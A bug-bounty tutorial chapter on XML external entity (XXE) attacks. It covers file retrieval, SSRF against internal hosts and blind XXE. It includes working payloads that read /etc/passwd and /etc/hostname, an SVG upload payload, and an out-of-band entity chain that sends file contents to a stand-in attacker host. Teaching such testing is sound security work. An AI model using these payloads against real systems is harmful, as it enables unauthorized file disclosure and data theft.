XXE

What is it

XXE = XML eXternal Entities

XXE can occur when XML documents get parsed. We traditionally think of XXE vulnerabilities as uploading an XML file that includes an external entity, an example of this would be:

```
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>
```

We might be able to upload this file if we save it as .xml into an application that process XML files but what some hunters don't know is that some other file types consist of XML files. In this course we will cover two types of XXE attacks but can you think of any more after reading this?

Types of XSS attacks

XXE can be abused to perform several types of attacks. It can even be chained into things like SSRF.

In this chapter we will mostly take a look at:

- XXE to retrieve files
- XXE to perform SSRF
- Blind XXE

XXE To retrieve files

```
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<product>&xxe;</product>
<adress>&xxe;</adress>
```

In this example we first define the document type and in there we define a new Entity called "XXE". This entity is made to execute a system call. This can be anything like ls, a reverse shell or in this case a file inclusion. It will grab the /etc/passwd file.

```
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
```

Next we will display that entity xxe into every possible field of our XML file. **It's very important to insert your XXE entity into every single XML element. Any of them can be vulnerable as the developer has to filter ALL the fields indivually.**

XXE Into SSRF

```
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM
"http://intranet.cheeseshop.com"> ]>
```

In our previous example we made a SYSTEM call to include a file, in this example we make the same SYSTEM call to an HTTP endpoint of an internal webserver of which we should not see the contents from outside. To learn more about SSRF check out that chapter.

Blind XXE

The majority of XXE vulnerabilities in the wild will be blind XXE attacks. To detect these we can use an out of band webserver that we host ourselves and make the target do a callback to our server using the same technique we used previously in XXE into SSRF.

```
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com">
]>
```

If we detect blind XXE, we can exfiltrate data via OAST

```
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://webattacker.com/?x=%file;'>">
%eval;
%exfiltrate;
```

Our first entity will grab the data file /etc/passwd and our second entity will make a callback to our server with the contents of the /etc/passwd file in a get parameter.

Attack strategy

Our attack strategy will consist of trying to upload a file that will test for XXE on every entry point where an XML is processed. This can be in XML format bit also in SVG or DOCX/XLSX files. Our attack vectors will focus on trying to the /etc/hostname file. There are many other things we can do with XXE for example when we are testing on a windows server, we need to make sure to include a windows file instead of the /etc/hostname file.

Save the following files on your pc:

```
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<text font-size="16" x="0" y="16">&xxe;</text>
</svg>
```

```
<?xml  version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
   <!ELEMENT foo ANY >
```

```
     <!ENTITY xxe SYSTEM  "file:///etc/hostname" >]>
<foo>&xxe;</foo>
```

For docx/xlsx payload please check out

XML External Entity Injection (XXE) in OpenCats Applicant Tracking System - Dodd Security
Vendor's Vulnerability Announcement CVE-2019-13358 Internet Facing OpenCats: Google Dork OpenCats is an open-sourced applicant tracking system that is used to track job applicants. Versions before 0.9.4-3 suffer from a XML External Entity Injection vulnerability that allows unauthenticated job
https://doddsecurity.com/312/xml-external-entity-injection-xxe-in-opencats-applicant-tracking-system/

As you can see, we are fetching the file /ect/hostname and putting it in an "entity" with the name "xxe":

```
<!ENTITY xxe SYSTEM  "file:///etc/hostname" >]>
```

Later on we call that entity in the XML document to display it

```
<foo>&xxe;</foo>
<text font-size="16" x="0" y="16">&xxe;</text>
```

Now that we created these files, try to upload them everywhere you can such as:

- profile pictures (.svg)
- banners (.svg)
- photo albums (.svg)
- XML imports (.xml)
- DOCX/XLSX imports (.docx/.xlsx)
- SOAP requests
- ...

The behaviour we are looking for is that the system will grab the /etc/hostname and will print the value in the location that we expect our process document would be.

As for Blind XXE, we need to make sure to test with an attack vector that makes a callback to our own webserver.